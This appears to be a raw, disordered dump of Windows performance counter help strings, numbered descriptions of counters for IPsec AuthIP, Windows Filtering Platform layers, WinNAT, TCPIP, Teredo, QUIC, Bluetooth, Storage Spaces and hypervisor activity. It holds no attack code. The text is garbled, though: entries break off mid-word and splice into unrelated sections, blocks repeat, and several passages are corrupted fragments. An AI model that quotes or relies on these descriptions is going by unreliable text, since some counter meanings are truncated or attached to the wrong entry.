Requests Received is the number of main mode negotiations initiated by a peer since IPsec was last started. 11651 Main Mode Negotiation Requests Received per Second is the rate of main mode negotiations initiated by a peer. 11653 Main Mode SAs That Used Impersonation is the number of main mode security associations completed using impersonation since IPsec was last started. 11655 Main Mode SAs That Used Impersonation per Second is the rate of main mode security associations completed using impersonation. 11657 Active Quick Mode SAs is the number of currently active quick mode security associations. 11659 Pending Quick Mode Negotiations is the number of pending quick mode negotiations. 11661 Quick Mode Negotiations is the number of quick mode negotiations attempted since IPsec was last started. 11663 Quick Mode Negotiations per Second is the rate at which quick mode negotiations are being attempted. 11665 Successful Quick Mode Negotiations is the number of quick mode negotiations completed since IPsec was last started. 11667 Successful Quick Mode Negotiations per Second is the rate of quick mode negotiations completed. 11669 Failed Quick Mode Negotiations is the number of failed quick mode negotiations since IPsec was last started. 11671 Failed Quick Mode Negotiations per Second is the rate of failed quick mode negotiations. 11673 Active Extended Mode SAs is the number of currently active extended mode security associations. 11675 Pending Extended Mode Negotiations is the number of pending extended mode negotiations. 11677 Extended Mode Negotiations is the number of extended mode negotiations attempted sinumber of extents of the virtual disk that are need regeneration. 6659 The number of bytes of the virtual disk that are need regeneration. 6661 The number of extents of the virtual disk that are regenerating. 6663 The number of bytes of the virtual disk that are regenerating. 6665 The number of extents of the virtual disk that are pending deletion. 6667 The number of bytes of the virtual disk that are pending deletion. 6669 The total number of extents of the virtual disk. 6671 The total number of bytes of the virtual disk. 6673 The number of extents of the virtual disk that are on a physical disk that is missing. 6675 The number of bytes of the virtual disk that are on a physical disk that is missing. 6677 The number of extents of the virtual disk that are on a physical disk that has failed. 6679 The number of bytes of the virtual disk that are on a physical disk that has failed. 6681 The number of extents of the virtual disk that encountered a write error. 6683 The number of bytes of the virtual disk that encountered a write error. 6685 The number of extents of the virtual disk that are on a physical disk that is reporting a hardware error. 6687 The number of bytes of the virtual disk that are on a physical disk that is reporting a hardware error. 6689 The number of extents of the virtual disk that encountered a write error while regenerating. 6691 The number of bytes of the virtual disk that encountered a write error while regenerating. 6693 The number of extents of the virtual disk that are on a physical disk that has been retired. 6695 The number of bytes of the virtual disk that are on a physical disk that has been retired. 6697 The number of extents of the virtual disk that have been newly reallocated. 6699 The number of bytes of the virtual disk that have been newly reallocated. 6701 The number of extents of the virtual disk that encountered a read error while regenerating. 6703 The number of bytes of the virtual disk that encountered a read error while regenerating. 6705 The number of extents of the virtuations is the number of pending main mode negotiations. 11577 Main Mode Negotiations is the number of main mode negotiations attempted since IPsec was last started. 11579 Main Mode Negotiations per Second is the rate at which main mode negotiations are being attempted. 11581 Successful Main Mode Negotiations is the number of main mode negotiations completed since IPsec was last started. 11583 Successful Main Mode Negotiations per Second is the rate of main mode negotiations completed. 11585 Failed Main Mode Negotiations is the number of failed main mode negotiations since IPsec was last started. 11587 Failed Main Mode Negotiations per Second is the rate of failed main mode negotiations. 11589 Main Mode Negotiation Requests Received is the number of main mode negotiations initiated by a peer since IPsec was last started. 11591 Main Mode Negotiation Requests Received per Second is the rate of main mode negotiations initiated by a peer. 11593 Main Mode SAs That Used Impersonation is the number of main mode security associations completed using impersonation since IPsec was last started. 11595 Main Mode SAs That Used Impersonation per Second is the rate of main mode security associations completed using impersonation. 11597 Active Quick Mode SAs is the number of currently active quick mode security associations. 11599 Pending Quick Mode Negotiations is the number of pending quick mode negotiations. 11601 Quick Mode Negotiations is the number of quick mode negotiations attempted since IPsec was last started. 11603 Quick Mode Negotiations per Second is the rate at which quick mode negotiations are being attempted. 11605 Successful Quick Mode Negotiations is the number of quick mode negotiations completed since IPsec was last started. 11607 Successful Quick Mode Negotiations per Second is the rate of quick mode negotiations completed. 11609 Failed Quick Mode Negotiations is the number of failed quick mode negotiations since IPsec was last started. 11611 Failed Quick Mode Negotiations per Second is the rate of failed quic169 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V6_DISCARD 12171 FWPM_LAYER_INBOUND_MAC_FRAME_ETHERNET 12173 FWPM_LAYER_OUTBOUND_MAC_FRAME_ETHERNET 12175 FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE 12177 FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE 12179 FWPM_LAYER_NAME_RESOLUTION_CACHE_V4 12181 FWPM_LAYER_NAME_RESOLUTION_CACHE_V6 12183 FWPM_LAYER_ALE_RESOURCE_RELEASE_V4 12185 FWPM_LAYER_ALE_RESOURCE_RELEASE_V6 12187 FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V4 12189 FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V6 12191 FWPM_LAYER_ALE_CONNECT_REDIRECT_V4 12193 FWPM_LAYER_ALE_CONNECT_REDIRECT_V6 12195 FWPM_LAYER_ALE_BIND_REDIRECT_V4 12197 FWPM_LAYER_ALE_BIND_REDIRECT_V6 12199 FWPM_LAYER_STREAM_PACKET_V4 12201 FWPM_LAYER_STREAM_PACKET_V6 12203 FWPM_LAYER_INGRESS_VSWITCH_ETHERNET 12205 FWPM_LAYER_EGRESS_VSWITCH_ETHERNET 12207 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V4 12209 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V6 12211 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V4 12213 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V6 12215 FWPM_LAYER_INBOUND_TRANSPORT_FAST 12217 FWPM_LAYER_OUTBOUND_TRANSPORT_FAST 12219 FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE_FAST 12221 FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE_FAST 12223 FWPM_LAYER_INBOUND_RESERVED2 12225 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V4 12227 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V6 12229 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V4 12231 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V6 12233 FWPM_LAYER_IPSEC_KM_DEMUX_V4 12235 FWPM_LAYER_IPSEC_KM_DEMUX_V6 12237 FWPM_LAYER_IPSEC_V4 12239 FWPM_LAYER_IPSEC_V6 12241 FWPM_LAYER_IKEEXT_V4 12243 FWPM_LAYER_IKEEXT_V6 12245 FWPM_LAYER_RPC_UM 12247 FWPM_LAYER_RPC_EPMAP 12249 FWPM_LAYER_RPC_EP_ADD 12251 FWPM_LAYER_RPC_PROXY_CONN 12253 FWPM_LAYER_RPC_PROXY_IF 12255 FWPM_LAYER_KM_AUTHORIZATION 12257 Sum total of all filters 11571 IPsec AuthIP IPv4 is the set of Internet Protocol security (IPsec) Authenticated IP (AuthIP) counters that apply to traffic and connections over Internet Protocol version 4. 11573 Active Main Mode SAs is the number of currently active main mode security associations. 11575 Pending Main Mode NegotiaLAYER_OUTBOUND_IPPACKET_V4_DISCARD 12071 FWPM_LAYER_OUTBOUND_IPPACKET_V6 12073 FWPM_LAYER_OUTBOUND_IPPACKET_V6_DISCARD 12075 FWPM_LAYER_IPFORWARD_V4 12077 FWPM_LAYER_IPFORWARD_V4_DISCARD 12079 FWPM_LAYER_IPFORWARD_V6 12081 FWPM_LAYER_IPFORWARD_V6_DISCARD 12083 FWPM_LAYER_INBOUND_TRANSPORT_V4 12085 FWPM_LAYER_INBOUND_TRANSPORT_V4_DISCARD 12087 FWPM_LAYER_INBOUND_TRANSPOR 12089 FWPM_LAYER_IN ue to absence of binding. 6993 Total number of ICMP sessions timed out due to inactivity. 14023 RulesByStore is the set of counters that apply to the number of rules in each firewall store on the system. 14025 Number of Firewall Rules in Group Policy RSoP Store 14027 Number of Firewall Rules in Local Store 14029 Number of Firewall Rules in Dynamic Store 14031 Number of Firewall Rules in GPO Store 14033 Number of Firewall Rules in Defaults Store 14035 Number of Firewall Rules in WSH Static Store 14037 Number of Firewall Rules in WSH Configurable Store 14039 Number of Firewall Rules in Interface Isolation Store 14041 Number of Firewall Rules in Interface Isolation Dynamic Store 14043 Number of Firewall Rules in App Isolation Store 14045 Number of Firewall Rules in MDM Store 14047 Number of Firewall Rules in Tenant Restrictions Store 14049 Number of Firewall Rules in All Stores 14015 RulesByProfile is the set of counters that apply to the number of rules in for each firewall profile on the system (public, private, domain). 14017 Number of Firewall Rules in Public Profile 14019 Number of Firewall Rules in Private Profile 14021 Number of Firewall Rules in Domain Profile 12503 Set of request queue counters 12505 Number of requests in the queue 12507 Age of the oldest request in the queue 12509 Rate at which requests are arriving in the queue 12511 Rate at which requests are rejected from the queue 12513 Total number of requests rejected from the queue 12515 Rate of cache hits for the queue 12521 Number of pending receive requests in the queue 12483 Set of URL Group-specific counters 12485 Rate of sending data by HTTP service for this site 12487 Rate of received data by HTTP service for this site 12489 Rate of total bytes transferred (sent and received) by HTTP service for this site 12491 Number of current connections established for this site 12493 Maximum number of concurrent connections established for this site 12495 Rate at which connection attempts are being made for this site 12497 Rate at which GET method requesrovides resource usage information per NAT instance. 7027 Number of TCP ports in use 7029 Number of TCP ports available 7031 Number of UDP ports in use 7033 Number of UDP ports available 6953 WinNat TCP counter set measures network activity for network address translated TCP packets. 6955 Total number of TCP sessions. 6957 Total number of TCP bindings. 6959 Total number of TCP packets translated from internal to external. 6961 Total number of TCP packets translated from external to internal. 6963 Total number of TCP packets dropped due to absence of binding. 6965 Total number of TCP sessions timed out due to inactivity. 6995 WinNAT general counter set measures network activity for all network address translated packets. 6997 Number of new sessions established per second 6999 Total number of current sessions 7001 Number of packets translated per second from internal to external 7003 Total number of packets translated from internal to external 7005 Number of packets translated per second from external to internal 7007 Total number of packets translated from external to internal 7009 Number of packets dropped per second 7011 Total number of dropped packets 7013 Number of ICMP error packets dropped per second due to inner IP packet parsing or validation failure 7015 Total number of ICMP error packets dropped due to inner IP packet parsing or validation failure 7017 Number of packets hairpinned per second between different routing domains 7019 Total number of packets hairpinned between different routing domains 7021 Number of packets hairpinned per second back to originating routing domains 7023 Total number of packets hairpinned back to originating routing domains 6981 WinNat ICMP counter set measures network activity for network address translated ICMP packets. 6983 Total number of ICMP sessions. 6985 Total number of ICMP bindings. 6987 Total number of ICMP packets translated from internal to external. 6989 Total number of ICMP packets translated from external to internal. 6991 Total number of ICMP packets dropped dests denied by the TCPIP stack because the outbound network interface was in low-power mode 12567 TCP segments dropped due to invalid checksum 12569 TCP retransmission timeouts 12571 Total number of RSC segments forwarded via LSO 12573 Total number of RSC segments forwarded via software segmentation 12575 Total number of RSC segments forwarded via software segmentation and checksum 12577 Total number of RSC segment forwarding failures during software segmentation 12579 Total number of UDP datagrams created via software segmentation 12581 Rate of coalesced UDP datagrams received via UDP URO 12583 Rate of bytes received via UDP URO 12585 Rate of coalesced TCP datagrams received via TCP RSC 12587 Rate of bytes received via TCP RSC 12589 Total number of URO segments forwarded via software segmentation 12591 Total number of URO segments forwarded via software segmentation and checksum 12593 Total number of URO segment forwarding failures during software segmentation 12595 Total number of TCP loss recovery episodes 12597 Total number of successful TCP loss recovery episodes 12599 Total number of bytes of lost retransmits retransmitted 12601 Total number of URO NBLs segmented for raw sockets 12603 Total number of URO NBL segmentation failures for raw sockets 12605 Total number of SACK blocks dropped due to DoS protection 12607 The number of TCP RX fast path batches inspected 12609 The number of TCP RX fast path batches not inspected 12611 The number of USO packets segmented in software 12613 The number of USO packets segmented and checksummed in software 6967 WinNat UDP counter set measures network activity for network address translated UDP packets. 6969 Total number of UDP sessions. 6971 Total number of UDP bindings. 6973 Total number of UDP packets translated from internal to external. 6975 Total number of UDP packets translated from external to internal. 6977 Total number of UDP packets dropped due to absence of binding. 6979 Total number of UDP sessions timed out due to inactivity. 7025 WinNAT instance counterset p Layer with low-resource flag 12531 Rate of inbound NetBufferLists indicated from IPv6 Framing Layer to IPv6 Network Layer with low-resource flag 12533 Total number of inbound NetBufferLists indicated from IPv4 Framing Layer to IPv4 Network Layer without prevalidation 12535 Rate of inbound NetBufferLists indicated from IPv4 Framing Layer to IPv4 Network Layer without prevalidation 12537 Total number of inbound NetBufferLists indicated from IPv6 Framing Layer to IPv6 Network Layer without prevalidation 12539 Rate of inbound NetBufferLists indicated from IPv6 Framing Layer to IPv6 Network Layer without prevalidation 12541 Total number of inbound NetBufferLists indicated to IPv4 Network Layer as prevalidated but treated as non-prevalidated consequently 12543 Rate of inbound NetBufferLists indicated to IPv4 Network Layer as prevalidated but treated as non-prevalidated consequently 12545 Total number of inbound NetBufferLists indicated to IPv6 Network Layer as prevalidated but treated as non-prevalidated consequently 12547 Rate of inbound NetBufferLists indicated to IPv6 Network Layer as prevalidated but treated as non-prevalidated consequently 12549 Total number of outbound NetBufferLists that could not be processed via IPv4 Framing Layer fast path 12551 Rate of outbound NetBufferLists that could not be processed via IPv4 Framing Layer fast path 12553 Total number of outbound NetBufferLists that could not be processed via IPv6 Framing Layer fast path 12555 Rate of outbound NetBufferLists that could not be processed via IPv6 Framing Layer fast path 12557 Total number of inbound TCP segments that could not be processed via fast path 12559 Rate of inbound TCP segments that could not be processed via fast path 12561 Total number of TCP connect requests which were established over normal loopback path despite loopback fast path was requested 12563 Rate of TCP connect requests which were established over normal loopback path despite loopback fast path was requested 12565 Total number of TCP connect or TCP/UDP/RAW send requPackets discarded due to endpoint not found 12701 Packets discarded due to connected path 12703 Packets discarded due to session state 12705 Packets discarded due to receive inspection 12707 Packets discarded due to invalid ACK 12709 Packets discarded due to expected SYN 12711 Packets discarded due to RST 12713 Packets discarded due to SYN received SYN 12715 Packets discarded due to simultaneous connect 12717 Packets discarded due to PAWS failed 12719 Packets discarded due to land attack 12721 Packets discarded due to missed reset 12723 Packets discarded due to outside window 12725 Packets discarded due to duplicate segment 12727 Packets discarded due to closed window 12729 Packets discarded due to TCB removed 12731 Packets discarded due to FIN wait 2 12733 Packets discarded due to reassembly conflict 12735 Packets discarded due to FIN received 12737 Packets discarded due to listener invalid flags 12739 Packets discarded due to urgent delivery allocation failure 12741 Packets discarded due to TCB not in TCB table 12743 Packets discarded due to time wait TCB received RST outside window 12745 Packets discarded due to time wait TCB SYN and other flags 12747 Packets discarded due to time wait TCB 12749 Packets discarded due to SYN ACK with fastopen cookie request 12751 Packets discarded due to pause accept 12753 Packets discarded due to SYN attack 12755 Packets discarded due to accept inspection 12757 Packets discarded due to accept redirection 12615 This counter set measures various per-CPU TCPIP activity for performance diagnostics. 12617 Established TCP connections that last received traffic on this CPU 12523 This counter set measures various TCPIP activity for performance diagnostics. 12525 Total number of inbound NetBufferLists indicated from IPv4 Framing Layer to IPv4 Network Layer with low-resource flag 12527 Rate of inbound NetBufferLists indicated from IPv4 Framing Layer to IPv4 Network Layer with low-resource flag 12529 Total number of inbound NetBufferLists indicated from IPv6 Framing Layer to IPv6 Networkevices. 6365 This counter tracks the number of Secure Sockets Layer (SSL) client-side reconnect handshakes that are being processed per second. Reconnect handshakes allow session keys from previous SSL sessions to be used to resume a client/server connection, and they require less memory to process than full handshakes. sion key equire less memory to process than f HD bucketized performance object consists of counters that show operations performance split by latency buckets. 4397 Total number of operations completed since last collection. 4399 Total time in nanoseconds it took to complete operations since last collection. 4401 Total bytes transfered since last collection. 4403 Number of operations that took < 128 s to complete. 4405 Number of operations that took < 256 s to complete. 4407 Number of operations that took < 512 s to complete. 4409 Number of operations that took < 1 ms to complete. 4411 Number of operations that took < 4 ms to complete. 4413 Number of operations that took < 16 ms to complete. 4415 Number of operations that took < 64 ms to complete. 4417 Number of operations that took < 128 ms to complete. 4419 Number of operations that took < 256 ms to complete. 4421 Number of operations that took < 512 ms to complete. 4423 Number of operations that took < 1 s to complete. 4425 Number of operations that took < 2 s to complete. 4427 Number of operations that took < 10 s to complete. 4429 Number of operations that took < 20 s to complete. 4431 Number of operations that took < 30 s to complete. 4433 Number of operations that took >= 30s to complete. 4435 Total time in nanoseconds for all operations that took < 128 s to complete. 4437 Total time in nanoseconds for all operations that took < 256 s to complete. 4439 Total time in nanoseconds for all operations that took < 512 s to complete. 4441 Total time in nanoseconds for all operations that took < 1 ms to complete. 4443 Total time in nanoseconds for all operations that took < 4 ms to complete. 4445 Total time in nanoseconds for all operations that took < 16 ms to complete. 4447 Total time in nanoseconds for all operations that took < 64 ms to complete. 4449 Total time in nanoseconds for all operations that took < 128 ms to complete. 4451 Total time in nanoseconds for all operations that took < 256 ms to complete. 4453 Total time in nanoseconds for all operations that took < 512 ms to complete. 4455 Total tctions 12779 Number of LE ACL connections 12781 Number of SCO connections 12783 Number of Sideband SCO connections 12785 Number of ACL flush events per second 12787 Number of LE ACL write credits 12789 Number of Classic ACL write credits 12791 LE Advertisement Scan Duty Cycle (%) - Uncoded 1M Phy 12793 Raw LE Advertisement Scan Window - Uncoded 1M Phy 12795 Raw LE Advertisement Scan Interval - Uncoded 1M Phy 12797 Page Scan Duty Cycle (%) 12799 Raw Page Scan Window 12801 Raw Page Scan Interval 12803 Inquiry Scan Duty Cycle (%) 12805 Raw Inquiry Scan Window 12807 Raw Inquiry Scan Interval 12809 LE Advertisement Scan Duty Cycle (%) - Coded Phy 12811 Raw LE Advertisement Scan Window - Coded Phy 12813 Raw LE Advertisement Scan Interval - Coded Phy 12815 Number of Offload A2dp connections 12817 Number of established LE CIS 12819 Number of established LE Periodic Advertising Sync 12821 Number of LE Periodic Advertising Report events received per second 12823 Number of LE Periodic Advertising Report bytes received per second 12825 Number of LE BIG Info Report events received per second 12827 Number of established BIG Sync 12829 Number of LE BIG Created 12831 Number of monitors created via HCI_VS_MSFT_LE_Monitor_Advertisement 12833 Number of actively monitored devices reported via HCI_VS_MSFT_LE_Monitor_Device_Event 12835 Number of Advertising Handles used via CMD_LE_Set_Extended_Advertising_Parameters 12837 Number of Advertising Sets Enabled via CMD_LE_Set_Extended_Advertising_Enable 12839 Counters related to a remote Bluetooth device 12841 Number of Classic ACL bytes written per second 12843 Number of Low Energy ACL bytes written per second 12845 Number of SCO bytes written per second 12847 Number of Classic ACL bytes read per second 12849 Number of Low Energy ACL bytes read per second 12851 Number of SCO bytes read per second 12853 LE Peripheral Latency 12855 LE Connection Supervision Timeout 12857 LE Subrate Factor 12859 LE Continuation Number 12861 LE Connection Interval 12863 Number of established LE CIS 4395 The Val packets received by the Teredo server. 2357 Total valid packets received by the Teredo server. 2359 Total bubbles received by the Teredo server. 2361 Total echo packets received by the Teredo server. 2363 Total Router Solicitations received by the primary server. 2365 Total Router Solicitations received by the secondary server 2367 Total error packets received by the Teredo server. 2369 Total error packets( header error) received by the Teredo server. 2371 Total error packets( source error) received by the Teredo server. 2373 Total error packets( destination error) received by the Teredo server. 2375 Total error packets( authentication error) received by the Teredo server. 2377 Total Router Advertisements sent by the primary server. 2379 Total Router Advertisements sent by the secondary server. 2381 Rate of total packets received by the Teredo server. 2329 Statistics of Teredo client. 2331 Total Router Advertisement packets received by the Teredo client. 2333 Total bubble packets received by the Teredo client. 2335 Total data packets received by the Teredo client. 2337 Total error packets received by the Teredo client. 2339 Total Router Solicitation packets sent by the Teredo client. 2341 Total bubble packets sent by the Teredo client. 2343 Total data packets sent by the Teredo client. 2345 Total data packets received by the Teredo client in user mode. 2347 Total data packets received by the Teredo client in kernel mode. 2349 Total data packets sent by the Teredo client in user mode. 2351 Total data packets sent by the Teredo client in kernel mode. 5937 This counter set represents the statistics for Dynamic Memory Integration Services 12763 Counters related to a local Bluetooth radio 12765 Number of Classic ACL bytes written per second 12767 Number of Low Energy ACL bytes written per second 12769 Number of SCO bytes written per second 12771 Number of Classic ACL bytes read per second 12773 Number of Low Energy ACL bytes read per second 12775 Number of SCO bytes read per second 12777 Number of Classic ACL connet by the Teredo relay. 2409 Total packets failed to be sent by the Teredo relay. 2411 Total packets failed( header error) to be sent by the Teredo relay. 2413 Total packets failed( source error) to be sent by the Teredo relay. 2415 Total packets failed( destination error) to be sent by the Teredo relay. 2417 Rate of total packets received by the Teredo relay. 2419 Rate of total packets sent by the Teredo relay. 2421 Total data packets received by the Teredo relay in user mode. 2423 Total data packets received by the Teredo relay in kernel mode. 2425 Total data packets sent by the Teredo relay in user mode. 2427 Total data packets sent by the Teredo relay in kernel mode. 2429 Per session statistics on this IPHTTPS server. 2431 Total Ipv6 packets received on this IPHTTPS session. 2433 Total Ipv6 packets sent on this IPHTTPS session. 2435 Total bytes received on this IPHTTPS session. 2437 Total bytes sent on this IPHTTPS session. 2439 Total transmit errors on this session. 2441 Total receive errors on this session. 2443 Time since this session was established in seconds. 2467 Statistics of DNS64 on this machine. 2469 Number of AAAA queries successfully served by the DNS64 server. 2471 Number of AAAA queries unsuccessfully served by the DNS64 server. 2473 Number of IP6.ARPA PTR queries, matched configured prefixes. 2475 Number of successfully served pass-through queries. 2477 Number of unsuccessfully served pass-through queries. 2479 Number of synthesized AAAA records. 2445 Statistics of IPHTTPS server on this machine. 2447 Total bytes received on the IPHTTPS server. 2449 Total bytes sent on the IPHTTPS server. 2451 Total packets dropped waiting for neighbor resolution. 2453 Total authentication errors. 2455 Total bytes forwarded at link layer. 2457 Total transmit errors on the server. 2459 Total receive errors on the server. 2461 Total packets received on the server. 2463 Total packets sent from the server. 2465 Total number of sessions on the server. 2353 Statistics of Teredo server hosted on this machine. 2355 Totesumed 2257 Rate of QUIC connections resumed 2259 Current number of active QUIC connections 2261 Current number of connected QUIC connections 2263 Total number of QUIC connections shutdown with a protocol error 2265 Rate of QUIC connections shutdown with a protocol error 2267 Total number of QUIC connection attempts with no matching ALPN 2269 Rate of QUIC connection attempts with no matching ALPN 2271 Current number of active QUIC streams 2273 Rate of QUIC packets suspected lost 2275 Rate of QUIC packets dropped 2277 Rate of QUIC packets failing decryption 2279 Rate of QUIC UDP Datagrams Received 2281 Rate of QUIC UDP Datagrams Sent 2283 Rate of QUIC UDP Payload Bytes Received 2285 Rate of QUIC UDP Payload Bytes Sent 2287 Rate of QUIC UDP Receive Events 2289 Rate of QUIC UDP Send Calls 2291 Rate QUIC App Sent Bytes 2293 Rate QUIC App Received Bytes 2295 Current QUIC connection queue length 2297 Current QUIC connection operation queue length 2299 Rate of QUIC connection operations queued 2301 Rate of QUIC connection operations completed 2303 Current QUIC worker operation queue length 2305 Rate of QUIC worker operations queued 2307 Rate of QUIC worker oper ns completed eeded 2311 Total pat resetL ackets sent 2315 Total stateless ry packets/ 2383 Statistics of Teredo relay hosted on this machine. 2385 Total packets received by the Teredo relay. 2387 Total valid packets re Total b ved by y th erro do r e Teredo relay. 2405 al bubbl ect YER_ALE_RESOURCE_ASSIGNMENT_V6 11889 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V6_DISCARD 11891 FWPM_LAYER_ALE_AUTH_LISTEN_V4 11893 FWPM_LAYER_ALE_AUTH_LISTEN_V4_DISCARD 11895 FWPM_LAYER_ALE_AUTH_LISTEN_V6 11897 FWPM_LAYER_ALE_AUTH_LISTEN_V6_DISCARD 11899 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4 11901 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4_DISCARD 11903 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V6 11905 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V6_DISCARD 11907 FWPM_LAYER_ALE_AUTH_CONNECT_V4 11909 FWPM_LAYER_ALE_AUTH_CONNECT_V4_DISCARD 11911 FWPM_LAYER_ALE_AUTH_CONNECT_V6 11913 FWPM_LAYER_ALE_AUTH_CONNECT_V6_DISCARD 11915 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4 11917 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4_DISCARD 11919 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V6 11921 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V6_DISCARD 11923 FWPM_LAYER_INBOUND_MAC_FRAME_ETHERNET 11925 FWPM_LAYER_OUTBOUND_MAC_FRAME_ETHERNET 11927 FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE 11929 FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE 11931 FWPM_LAYER_NAME_RESOLUTION_CACHE_V4 11933 FWPM_LAYER_NAME_RESOLUTION_CACHE_V6 11935 FWPM_LAYER_ALE_RESOURCE_RELEASE_V4 11937 FWPM_LAYER_ALE_RESOURCE_RELEASE_V6 11939 FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V4 11941 FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V6 11943 FWPM_LAYER_ALE_CONNECT_REDIRECT_V4 11945 FWPM_LAYER_ALE_CONNECT_REDIRECT_V6 11947 FWPM_LAYER_ALE_BIND_REDIRECT_V4 11949 FWPM_LAYER_ALE_BIND_REDIRECT_V6 11951 FWPM_LAYER_STREAM_PACKET_V4 11953 FWPM_LAYER_STREAM_PACKET_V6 11955 FWPM_LAYER_INGRESS_VSWITCH_ETHERNET 11957 FWPM_LAYER_EGRESS_VSWITCH_ETHERNET 11959 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V4 11961 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V6 11963 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V4 11965 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V6 11967 FWPM_LAYER_INBOUND_TRANSPORT_FAST 11969 FWPM_LAYER_OUTBOUND_TRANSPORT_FAST 11971 FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE_FAST 11973 FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE_FAST 11975 FWPM_LAYER_INBOUND_RESERVED2 11977 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V4 11979 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V6 11981 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V4 11983 FWPM_LAYER_OUTBObytes repaired per second by scrub. 6767 The number of scrubs. 6915 The Storage Spaces Io performance object consists of counters that show information about Storage Spaces IOs. 6917 The average number of ms per read from virtual disk 6919 The number of reads. 6921 The average number of ms per write to virtual disk 6923 The number of writes. 6925 The average number of ms per flush to virtual disk 6927 The number of flushes. 6929 The number of bytes read from the space per second. 6931 The number of bytes written to the space per second. 6809 The Storage Spaces Write Cache performance object consists of counters that show information about Storage Spaces write caches. 6811 The total number of checkpoint operations. 6813 The number of concurrent destage operations. 6815 The number of log advance operations. 6817 The amount of data in bytes residing in the cache. 6819 The percentage of data in bytes residing in the cache. 6821 The amount of reclaimable space in bytes in the cache. 6823 The percentage of reclaimable space in bytes in the cache. 6825 The amount of used space in bytes in the cache. 6827 The percentage of used space in bytes in the cache. 6829 The size in bytes of the cache. 6831 The number of bytes evicted from the cache per second. 6833 The number of destaged bytes evicted from the cache per second. 6835 The percentage of destage bytes evicted from the cache. 6837 The number of overwritten bytes evicted from the cache per second. 6839 The percentage of overwritten bytes evicted from the cache. 6841 The number of bytes read bypassing the cache per second. 6843 The percentage of bytes read bypassing the cache. 6845 The number of bytes read from the cache per second. 6847 The percentage of bytes read from the cache. 6849 The number of bytes written bypassing the cache per second. 6851 The percentage of bytes written bypassing the cache. 6853 The number of bytes written to the cache per second. 6855 The percentage of bytes written to the cache. 6857 The number of unaligned bytes written to the cache per snds) spent forwarding a control register access. 14439 The rate of IO instructions forwarded to the nested hypervisor on the virtual processor. 14441 The average time (in nanoseconds) spent forwarding an IO instruction. 14443 The rate of HLT instructions forwarded to the nested hypervisor on the virtual processor. 14445 The average time (in nanoseconds) spent forwarding a HLT instruction. 14447 The rate of MWAIT instructions forwarded to the nested hypervisor on the virtual processor. 14449 The average time (in nanoseconds) spent forwarding an MWAIT instruction. 14451 The rate of CPUID instructions forwarded to the nested hypervisor on the virtual processor. 14453 The average time (in nanoseconds) spent forwarding a CPUID instruction. 14455 The rate of MSR instructions forwarded to the nested hypervisor on the virtual processor. 14457 The average time (in nanoseconds) spent forwarding an MSR instruction. 14459 The rate of other intercepts forwarded to the nested hypervisor on the virtual processor. 14461 The average time (in nanoseconds) spent forwardi ther intercepts. interrupts forwarded proceL 14465 The average time (in n econds) sp/ t forwarding an external interrupt. 14467 The rate of intercepts due to a task priority (TPR) reduction forwarded to the nested hypervis e vi l processor. 14469 The average time (in seco s) spent forwarding a pending interrupt interc time The rate of page lt excep nded ode ne atio s Th ers that app windows o 1s. 8295 The number of control dispatches elapsing between 1s to 4s. 8297 The number of control dispatches elapsing between 4s to 16s. 8299 The number of control dispatches elapsing between 16s to 1min. 8301 The number of control dispatches elapsing more than 1min. 1959 Per-Pipe statistics, for performance debugging. 11155 The SMB Direct performance counter set consists of counters that measure SMB Direct activity. 11157 The total number of times SMB Direct was unable to allocate an RDMA connector. The total number ble to allocate an R umber L times SMB Direct wa able to cate 1163 The total numbe cate aL RDMA queue pair. 11165 The total ber of tim/ ect unable to allocate an RDMA memory region e total number of times SMB Direct was unable lloc ++S+ use 7029 Number of TCP ports available 7031 Number of UDP ports in use 7033 Number of UDP ports available 6953 WinNat TCP counter set measures network activity for network address translated TCP packets. 6955 Total number of TCP sessions. 6957 Total number of TCP bindings. 6959 Total number of TCP packets translated from internal to external. 6961 Total number of TCP packets translated from external to internal. 6963 Total number of TCP packets dropped due to absence of binding. 6965 Total number of TCP sessions timed out due to inactivity. 6995 WinNAT general counter set measures network activity for all network address translated packets. 6997 Number of new sessions established per second 6999 Total number of current sessions 7001 Number of packets translated per second from internal to external 7003 Total number of packets translated from internal to external 7005 Number of packets translated per second from external to internal 7007 Total number of packets translated from external to internal 7009 Number of packets dropped per second 7011 Total number of dropped packets 7013 Number of ICMP error packets dropped per second due to inner IP packet parsing or validation failure 7015 Total number of ICMP error packets dropped due to inner IP packet parsing or validation failure 7017 Number of packets hairpinned per second between different routing domains 7019 Total number of packets hairpinned between different routing domains 7021 Number of packets hairpinned per second back to originating routing domains 7023 Total number of packets hairpinned back to originating routing domains 6981 